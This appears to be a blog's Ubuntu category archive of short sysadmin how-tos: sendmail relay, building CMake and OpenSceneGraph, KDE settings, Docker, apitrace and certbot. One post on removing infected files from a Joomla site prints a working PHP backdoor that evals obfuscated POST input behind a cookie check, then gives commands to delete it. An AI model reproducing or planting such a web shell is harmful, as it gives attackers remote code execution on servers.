Category Archives: Ubuntu

Configuring sendmail with GMail relay on Ubuntu 16.04

Previously I published post How I configured sendmail for PHP on Ubuntu Server 12.04 describing how to configure sendmail to use custom SMTP server. But after switching to Ubuntu 16.04 VPS my first idea was that I can use sendmail in its default configuration, but this idea was wrong, because while sendmail worked well with yandex.ru (some Russian mail server), for example, it did not work with GMail, because GMail did not accept the mail reporting ‘DSN: Service unavailable.‘ in /var/log/mail.log, see my post on Ubuntu Forum for more information. Now my second idea is that using GMail as sendmail relay will prevent GMail from rejecting my mail. Below I provided a short instruction on how to realize this successful idea.

Install the packages

apt-get install sendmail mailutils

mailutils allows to run mail command.

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Compiling the latest version of CMake from sources on Ubuntu

I was unable to add QML resources to a QT Quick application with CMake 2.8 installed on my machine, so I built the latest version of CMake with the following commands:

cd ~/examples
mkdir tools
cd tools
mkdir install
tar -xf ~/Downloads/cmake-3.9.1.tar.gz
cd cmake-3.9.1/
./configure --prefix=/home/dmitry/examples/tools/install/
make -j4
make install

Now my QT application is compiled and run successfully:

~/examples/tools/install/bin/cmake ../../OsgQmlTest/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_MODULE_PATH=/home/user/3rdpart/osg/CMakeModules/ -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j4
make install

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Building OsgQtQuick on Ubuntu 14.04

The following section in OsgQtQuick‘s CMakeLists.txt:

find_package(OpenSceneGraph 3.0 REQUIRED
  osg
  osgQt
  osgDB
  osgGA
  osgManipulator
  osgUtil
  osgViewer
  osgText)

results in CMake searching for FindOpenSceneGraph.cmake file:

strace cmake ../../osgqtquick/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install |& grep -i OpenSceneGraph
access("/home/dmitry/examples/osgqtquick/cmake/FindOpenSceneGraph.cmake", R_OK) = -1 ENOENT (No such file or directory)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0
stat("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", {st_mode=S_IFREG|0644, st_size=7438, ...}) = 0
open("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", O_RDONLY) = 3
read(3, "# - Find OpenSceneGraph\n# This m"..., 8192) = 7438
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 4096) = 3495
read(3, "/* -*-c++-*- OpenSceneGraph - Co"..., 8191) = 3495
  Could NOT find OpenSceneGraph (missing: OPENSCENEGRAPH_LIBRARIES
  OPENSCENEGRAPH_INCLUDE_DIR OSG_FOUND OSGQT_FOUND OSGDB_FOUND OSGGA_FOUND
  /usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake:187 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
access("/usr/share/cmake-2.8/Modules/FindOpenSceneGraph.cmake", R_OK) = 0

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Building OsgEarth on Ubuntu 14.04

I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. We can build osgEarth 2.8 against OSG 3.4 or osgEarth master branch against OSG 3.4 or newer..):

cd ~
mkdir examples
cd examples
mkdir install
git clone --recursive https://github.com/openscenegraph/OpenSceneGraph.git
git tag
git reset --hard OpenSceneGraph-3.4.0
mkdir -p build/osg
cd build/osg
cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j3 install
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64
~/examples/install/bin
./osgversiond

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How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

Configuring input languages in KDE

If you need Russian language, for example, in KDE you go to System Settings->Input Devices->Keyboard, press Add button and select it:

KDE switch language

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How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)

I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:

KDE Settings

Running PHP 5.3/5.6 in a Docker container with Nginx on Ubuntu 16.04

The docker installation procedure depends on the system architecture that can be determined with the following commands:

cat /proc/cpuinfo
dpkg --print-architecture

After I installed Docker, I successfully run its test application:

docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
b04784fba78d: Pull complete
Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon.
2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
3. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it
to your terminal.

To try something more ambitious, you can run an Ubuntu container with:

docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://cloud.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/engine/userguide/

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Using “apitrace” with an OpenGL application

The basic commands for using apitrace with an OpenGL application are:

apitrace trace --api=gl MyApp
qapitrace MyApp.trace
apitrace dump --blobs MyApp.trace 

The last command generates blobs that can be inspected with the following command, for example:

tail -c $((12*10)) ~/repos/MyApp/build/blob_call2325.bin | xxd -g1

Or by writing a simple C++ program that converts them into CVS format:

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Securing Nginx with Let’s Encrypt on Ubuntu 16.04

First we need to install certbot utility:

apt-get install software-properties-common
add-apt-repository ppa:certbot/certbot
apt-get update
apt-get install python-certbot-nginx

After that, we can easily generate SSL certificates for all the domains listed in Nginx ‘server_name’ attributes in alive (working) virtual hosts. The examples are:

certbot --nginx certonly -d slogpost.ru -d www.slogpost.ru
certbot --nginx certonly -d psiholog-s-vami.ru -d www.psiholog-s-vami.ru
certbot certonly --nginx --cert-name sharlines.com -d sharlines.com -d www.sharlines.com
certbot certonly --nginx --cert-name developernote.com -d developernote.com -d www.developernote.com -d herb.developernote.com -d mastermag.developernote.com -d geographx.developernote.com -d geographx.net -d www.geographx.net -d xn--80acc2atiigge7h.xn--p1ai -d www.xn--80acc2atiigge7h.xn--p1ai -d git.developernote.com -d gitweb.developernote.com

(do not forget to run the commands above each time you add or remove a subdomain)

We cannot use wildcard domains line *.developernote.com with Let’s Encrypt, so we should list all the subdomains. And I do not see anything wrong in combining multiple domains in a single certificate.

To remove the certificate we do something like this:

certbot revoke --cert-path /etc/letsencrypt/live/developernote.com/fullchain.pem
certbot delete --cert-name developernote.com

Updating all the generated certificates:

certbot renew

After changing the website URL from HTTP to HTTPS, probably it makes a sense to update all the hyperlinks in MySQL database:

show tables;
show columns from wp_posts;
SELECT ID, post_title, post_date, post_name FROM wp_posts WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://slogpost.ru', 'https://slogpost.ru') WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://developernote.com', 'https://developernote.com') WHERE INSTR(post_content, 'http://developernote.com') <> 0;

The final step is adding certbot-renew.sh file to /etc/cron.monthly with the following content:

certbot renew
service squid reload

It seems like the service … command is completely ignored. Nothing in syslog, nothing in nginx logs. I switched to using

certbot renew
systemctl reload squid

instead, and this seems to work.